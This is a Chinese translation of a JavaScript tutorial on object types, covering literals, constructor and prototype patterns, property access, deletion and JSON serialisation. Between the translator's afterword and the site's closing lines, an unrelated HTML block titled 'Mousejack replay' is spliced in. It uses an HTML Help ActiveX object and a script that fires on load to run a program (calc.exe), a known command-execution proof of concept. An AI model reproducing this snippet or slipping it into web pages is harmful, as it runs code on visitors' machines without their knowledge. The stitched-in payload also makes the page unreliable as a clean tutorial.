詳解JavaScript對象類型
JavaScrtip有六種數(shù)據(jù)類型,一種復(fù)雜的數(shù)據(jù)類型(引用類型),即Object對象類型,還有五種簡單的數(shù)據(jù)類型(原始類型):Number、String、Boolean、Undefined和Null。其中,最核心的類型就是對象類型了。同時要注意,簡單類型都是不可變的,而對象類型是可變的。
什么是對象
一個對象是一組簡單數(shù)據(jù)類型(有時是引用數(shù)據(jù)類型)的無序列表,被存儲為一系列的名-值對(name-value pairs)。這個列表中的每一項被稱為 屬性(如果是函數(shù)則被稱為 方法)。
下面是一個簡單的對象:
var myFirstObject = {
firstName: "Richard",
favoriteAuthor: "Conrad"
};
可以把對象考慮成一個列表,列表中的每一項(屬性或方法)都以名-值對的方式存儲。上面例子中,對象的屬性名就是firstName和favortieAuthor,相應(yīng)的,對象的屬性值為Richard和Conrad。
屬性名可以是字符串或者數(shù)字,但是如果以數(shù)字作為屬性名,則必須以方括號(方括號記法)來獲得這個數(shù)字屬性名對應(yīng)的屬性值。稍后有方括號記法的更詳細解釋。下面是一個方括號記法的例子:
var ageGroup = {30: "Children", 100:"Very Old"};
console.log(ageGroup.30) // 報錯
// 訪問30這個屬性的正確方法
console.log(ageGroup["30"]); // Children
//最好避免使用數(shù)字作為屬性名
作為一個JavaScript程序員,你會經(jīng)常使用到對象數(shù)據(jù)類型。一般用它來儲存數(shù)據(jù),或者創(chuàng)建自定義的方法或函數(shù)。
引用數(shù)據(jù)類型和原始數(shù)據(jù)類型
引用類型與原始類型最主要的一個不同點就是引用類型是按引用存儲的,它不會像原始類型一樣,將值直接存儲在變量中。比如:
// 原始類型數(shù)據(jù)是按值存儲的 var person = "Kobe"; var anotherPerson = person; // anotherPerson = the value of person person = "Bryant"; // person的值改變了 console.log(anotherPerson); // Kobe console.log(person); // Bryan
可以注意到,即使我們將person的值改為"Bryant",對anthoerPerson也會不有絲毫影響,它仍然保存了原本person賦給它的值。
將原始類型的按值存儲跟引用類型的按引用存儲進行一下比較:
var person = {name: "Kobe"};
var anotherPerson = person;
person.name = "Bryant";
console.log(anotherPerson.name); // Bryant
console.log(person.name); // Bryant
在這個例子中,我們將person對象復(fù)制給了anthoerPerson,但是由于person對象中存儲的是引用而不是真正的值。所以當(dāng)我們將person.name改變?yōu)?Bryant"的時候,anotherPerson變量也反應(yīng)出了這個變化,因為它并沒有將person中的所有屬性都復(fù)制一份保存起來,而是直接保存了對象的引用。
對象屬性的特性(Attributes)
注:Attribute一般也是翻譯為屬性,但是為了跟Propertie(也翻譯為屬性)進行區(qū)分,這里將其翻譯為特性,這也是咨詢過別人的,應(yīng)該無傷大雅
每個對象屬性不止保存了自身的名-值對,它同時還包含了三個特性,這三個特性默認被設(shè)置為true。
•Configurable Attribute: 指定這個對象屬性是否可以被刪除或修改。
•Enumerable:指定這個對象屬性在for-in循環(huán)中是否可以被取得。
•Writable:指定這個對象屬性是否可以被修改。
在EMACScript 5中有一些新的特性,這里不做詳細講解。
創(chuàng)建對象
創(chuàng)建對象有兩種比較常用的方法:
1.對象字面量
這是創(chuàng)建對象最常用,也是最簡單的方式,直接使用字面量進行創(chuàng)建:
// 空對象
var myBooks = {};
// 使用字面量創(chuàng)建的包含4個屬性的對象
var mango = {
color: "yellow",
shape: "round",
sweetness: 8,
howSweetAmI: function () {
console.log("Hmm Hmm Good");
}
}
2.對象構(gòu)造函數(shù)
第二種常用的方法是使用對象構(gòu)造函數(shù)。構(gòu)造函數(shù)是一種可以用來創(chuàng)建新對象的特殊函數(shù),要使用new關(guān)鍵字來調(diào)用構(gòu)造函數(shù)。
var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
mango.howSweetAmI = function () {
console.log("Hmm Hmm Good");
}
雖然可以使用某些保留字或關(guān)鍵字,比如for作為對象屬性的名稱,不過這可不是一個明智的選擇。
對象的屬性可以包含任何數(shù)據(jù)類型,包括Number,Arrays,甚至是其它的Object。
對象創(chuàng)建的實踐模式
對于創(chuàng)建只使用一次的用于存儲數(shù)據(jù)的簡單對象,上面的兩種方法就可以滿足需求。
但是,假設(shè)有一個程序用于展示水果和它的詳細信息。程序中的每個水果類型都有如下對象屬性:color, shape, sweetness, cost 和一個showName函數(shù)。要是每次創(chuàng)建一個新的水果對象時,都得敲一遍下面的代碼,那將是十分乏味和低效率的。
var mangoFruit = {
color: "yellow",
sweetness: 8,
fruitName: "Mango",
nativeToLand: ["South America", "Central America"],
showName: function () {
console.log("This is " + this.fruitName);
},
nativeTo: function () {
this.nativeToLand.forEach(function (eachCountry) {
console.log("Grown in:" + eachCountry);
});
}
}
如果你有10個水果,你就得添加10次相同的代碼。并且,如果想修改nativeTo函數(shù),就得在10個不同的地方進行修改。再進一步推想,如果你在開發(fā)一個大型網(wǎng)站,你為上面的對象都一個一個添加了屬性。但是,你突然發(fā)現(xiàn)你創(chuàng)建對象的方式不是很理想,你想要進行修改,這時又該怎么辦。
為了解決這些重復(fù)性的問題,軟件工程師們發(fā)明了各種模式(對于重復(fù)問題和常見任務(wù)的解決方案),使用開發(fā)程序更有效率和合理化。
下面是兩種創(chuàng)建對象的常用模式:
1.構(gòu)造方法模式
function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
this.color = theColor;
this.sweetness = theSweetness;
this.fruitName = theFruitName;
this.nativeToLand = theNativeToLand;
this.showName = function () {
console.log("This is a " + this.fruitName);
}
this.nativeTo = function () {
this.nativeToLand.forEach(function (eachCountry) {
console.log("Grown in:" + eachCountry);
});
}
}
使用這種模式,很容易就可以創(chuàng)建出各式各樣的水果來。像這樣:
var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.
mangoFruit.nativeTo();
//Grown in:South America
// Grown in:Central America
// Grown in:West Africa
var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.
如果你要改變屬性或方法,你只需要在一個地方進行修改就可以了。這個模式通過一個Fruit函數(shù)的繼承,封裝了所有水果的功能和特性。
注意:
◦可繼承的屬性需要定義在對象的prototype對象屬性上。比如
someObject.prototype.firstName = "rich";
◦屬于自身的屬性要直接定義在對象的上。比如:
// 首先,創(chuàng)建一個對象 var aMango = new Fruit (); // 接著,直接在對象上定義mongoSpice方法 // 因為我們直接在對象身上定義了mangoSpice屬性,所以它是aMango自身的屬性,不是一個可繼承的屬性 aMango.mangoSpice = “some value”;
◦要訪問一個對象的屬性,使用object.property,如:
console.log(aMango.mangoSpice); // "some value"
◦要調(diào)用一個對象的方法,使用object.method(),如:
// 首先,增加一個方法
aMango.printStuff = function() { return "Printing"; }
// 現(xiàn)在,可以調(diào)用printStuff方法
aMango.printStuff();
2.原型模式
function Fruit () {
}
Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";
Fruit.prototype.showName = function () {
console.log("This is a " + this.fruitName);
}
Fruit.prototype.nativeTo = function () {
console.log("Grown in:" + this.nativeToLand);
}
下面是在原型模式中調(diào)用Fruit()構(gòu)造函數(shù)的方法:
var mangoFruit = new Fruit (); mangoFruit.showName(); // mangoFruit.nativeTo(); // This is a Generic Fruit // Grown in:USA
擴展閱讀
如果需要了解這兩種模式的更詳細的解釋,可以閱讀《JavaScript高級程序設(shè)計》的第六章,其中詳細討論了這兩種方法的優(yōu)缺點。書中還討論了除這兩個外的其它模式。
如何訪問對象中的屬性
訪問對象屬性的兩種主要方法是點記法(dot notation)和中括號記法(bracket notation)。
1.點記法
// 這是我們前面例子中一直使用的訪問屬性的方法
var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
// 使用點記法訪問book對象的title和pages屬性:
console.log ( book.title); // Ways to Go
console.log ( book.pages); // 280
2.中括號記法
// 使用方括號啟示訪問book對象的屬性: console.log ( book["title"]); //Ways to Go console.log ( book["pages"]); // 280 //如果屬性名儲存在一個變量當(dāng)中,也可以這樣: var bookTitle = "title"; console.log ( book[bookTitle]); // Ways to Go console.log (book["bookMark" + 1]); // Page 20
訪問一個對象中不存在的屬性會得到一個undefined。
自身屬性和繼承屬性
對象擁有自身屬性和繼承屬性。自身屬性是直接定義在對象上的屬性,而繼承屬性是從Object的Prototype繼承的屬性。
為了確寫一個對象是否擁有某個屬性(不管是自身屬性還是繼承屬性),可以使用in操作符:
// 創(chuàng)建一個有schoolName屬性的對象
var school = {schoolName:"MIT"};
// 打印出true,因為對象擁有schoolName這個屬性
console.log("schoolName" in school); // true
// 打印出false,因為我們既沒有定義schoolType屬性,也沒有從Object的Prototype中繼承schoolType屬性
console.log("schoolType" in school); // false
// 打印出true, 因為從Object的Prototype中繼承了toString方法
console.log("toString" in school); // true
hasOwnProperty
為了確定一個對象是否擁有一個特定的自身屬性,可以使用hasOwnPrototype方法。這個方法十分有用,因為我們經(jīng)常需要枚舉一個對象的所有自身屬性,而不是繼承屬性。
// 創(chuàng)建一個擁有schoolName屬性的對象
var school = {schoolName:"MIT"};
// 打印出true,因為schooName是school的自身屬性
console.log(school.hasOwnProperty ("schoolName")); // true
// 打印出false,因為toString是從Object的Prototype中繼承下來的,并且school的自身屬性
console.log(school.hasOwnProperty ("toString")); // false
訪問和枚舉對象中的屬性
為了訪問對象中可以枚舉的屬性(自身或者繼承的),可以使用for-in循環(huán)或普通的循環(huán)方式。
// 創(chuàng)建擁有3個屬性的school對象: schoolName, schoolAccredited, and schoolLocation.
var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
//使用for-in循環(huán)獲取對象中的屬性
for (var eachItem in school) {
console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation
}
訪問繼承的屬性
從Object的Prototype中繼承的屬性不可枚舉的,所以在for-in循環(huán)中不會訪問到這些屬性。然而,如果是可枚舉的繼承屬性,它們也是能夠從for-in循環(huán)中訪問到的。
比如:
//使用for-in循環(huán)訪問school對象中的屬性
for (var eachItem in school) {
console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation
}
// 注:以下這段說明是原文的說明
/* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
*/
// Create a new HigherLearning function that the school object will inherit from.
function HigherLearning () {
this.educationLevel = "University";
}
// Implement inheritance with the HigherLearning constructor
var school = new HigherLearning ();
school.schoolName = "MIT";
school.schoolAccredited = true;
school.schoolLocation = "Massachusetts";
//Use of the for/in loop to access the properties in the school object
for (var eachItem in school) {
console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation
}
刪除對象中的屬性
可以使用delete操作符來刪除對象中的屬性。我們不能刪除繼承的屬性,同時也不能刪除Configurable特性被設(shè)置為false的對象屬性。要刪除繼承的屬性,必須從Prototype對象中刪除(也就是定義這些屬性的地方)。并且,我們也不能刪除全局對象中的屬性。
刪除成功的時候,delete操作符會返回true。令人意外的是,當(dāng)要刪除的屬性不存在,或者不能被刪除(即不是自身的屬性或者Configurable特性被設(shè)置為false)時, delete操作符也會返回true。
以下是示例:
var christmasList = {mike:"Book", jason:"sweater" }
delete christmasList.mike; // deletes the mike property
for (var people in christmasList) {
console.log(people);
}
// Prints only jason
// The mike property was deleted
delete christmasList.toString; // 返回 true, 但是因為toString是繼承的屬性,所以它不會被刪除
// 因為toString沒有被刪除,所以這里還能夠正常使用
christmasList.toString(); //"[object Object]"
// 如果一個屬性是對象實例的自身屬性,則我們可以刪除它。
// 比如我們可以從之前例子中定義的school對象中刪除educationLevel屬性,
// 因為educationLevel是定義在那個實例中的:我們在HigherLearning函數(shù)中定義educationLevel時使用了"this"關(guān)鍵字。
//我們并沒有在HigherLearning函數(shù)的prototype對象在定義educationLevel屬性。
console.log(school.hasOwnProperty("educationLevel")); // true
// educationLevel是一個school對象的一個自身屬性,所以 我們可以刪除它
delete school.educationLevel; // true
// educationLevel屬性已經(jīng)從school實例中刪除了
console.log(school.educationLevel); // undefined
// 但是educationLevel屬性仍然存在于HigherLearning函數(shù)中
var newSchool = new HigherLearning ();
console.log(newSchool.educationLevel); // University
// 如果我們在HigherLearning函數(shù)prototype中定義了一個屬性, 比如這個educationLevel2屬性:
HigherLearning.prototype.educationLevel2 = "University 2";
// 這個educationLevel2屬性不屬性HigherLearning實例的自身屬性
// educationLevel2屬性不是school實例的自身屬性
console.log(school.hasOwnProperty("educationLevel2")); false
console.log(school.educationLevel2); // University 2
// 嘗試刪除繼承的educationLevel2屬性
delete school.educationLevel2; // true (正如前面所提到的,這個表達式會返回true)
// 繼承的educationLevel2屬性沒有被刪除
console.log(school.educationLevel2); University 2
序列化和反序列化對象
為了在HTTP中傳遞對象或者將對象轉(zhuǎn)化成字符串,我們必須將對象序列化(將其轉(zhuǎn)化為字符串)。我們可以使用JSON.stringify來序列化對象。要注意的是,在ECMAScript 5之前的版本,我們要使用json2庫來獲得JSON.stringify函數(shù)。在ECMAScript 5中,這個函數(shù)已經(jīng)成為標(biāo)準(zhǔn)函數(shù)。
為了將反序列化對象(即,將字符串轉(zhuǎn)化成對象),可以使用JSON.parse函數(shù)來完成。同樣,在第5版之前要從json2庫中獲取這個函數(shù),在第5版中已經(jīng)加入這個標(biāo)準(zhǔn)函數(shù)。
示例代碼:
var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
JSON.stringify (christmasList);
// Prints this string:
// "{"mike":"Book","jason":"sweater","chels":"iPad"}"
// To print a stringified object with formatting, add "null" and "4" as parameters:
JSON.stringify (christmasList, null, 4);
// "{
// "mike": "Book",
// "jason": "sweater",
// "chels": "iPad"
// }"
// JSON.parse Examples
// The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)
var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';
// Let's convert it to an object
var christmasListObj = JSON.parse (christmasListStr);
// Now that it is an object, we use dot notation
console.log(christmasListObj.mike); // Book
更多關(guān)于JavaScript對象的討論和解釋,以及ECMAScript第5版增加的內(nèi)容,可以參考《JavaScript權(quán)威指南(第6版)》第六章。
后記
第一次翻譯文章,真心覺得要把翻譯做好也不是那么簡單的,很多簡單的句子看著很明白,結(jié)果真正想翻譯出來的時候,卻是死活想不出合適的表達方式。通篇文章都是根據(jù)我自己的理解,然后通過意譯出來的,沒有逐句進行翻譯。所以,如果有哪些地方理解有偏差,或者翻譯不當(dāng)?shù)牡胤?,請盡量指出,我會盡快改正。畢竟翻譯這往篇文章也是想跟大家分享,我不希望因為自己理解的錯誤,導(dǎo)致對大家產(chǎn)生誤導(dǎo)。
就醬,收工。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
PixiJS學(xué)習(xí)之Sprite類的使用詳解
Sprite 直譯為 “精靈”,是游戲開發(fā)中常見的術(shù)語,就是將一個角色的多個動作放到一個圖片里,通過裁剪局部區(qū)域得到當(dāng)前的角色狀態(tài)圖。本文主要介紹了PixiJS中Sprite類的使用,需要的可以參考一下2023-02-02
JavaScript 申明函數(shù)的三種方法 每個函數(shù)就是一個對象(一)
JavaScript 申明函數(shù)的三種方法 每個函數(shù)就是一個對象(一)2009-12-12
JS實現(xiàn)PC手機端和嵌入式滑動拼圖驗證碼三種效果
這篇文章主要介紹了JS實現(xiàn)PC手機端和嵌入式滑動拼圖驗證碼三種效果,非常不錯,具有參考借鑒價值,需要的朋友可以參考下2017-02-02
uniapp開發(fā)H5打包微信小程序樣式失效的完美解決方法
本文主要介紹了在使用uniapp開發(fā)H5頁面并打包成微信小程序時,可能會出現(xiàn)樣式失效的問題,并提供了解決方法,通過本文的學(xué)習(xí),讀者可以了解uniapp開發(fā)H5頁面打包成微信小程序的注意事項,避免出現(xiàn)樣式失效等問題2023-03-03
JS 對java返回的json格式的數(shù)據(jù)處理方法
下面小編就為大家?guī)硪黄狫S 對java返回的json格式的數(shù)據(jù)處理方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2016-12-12

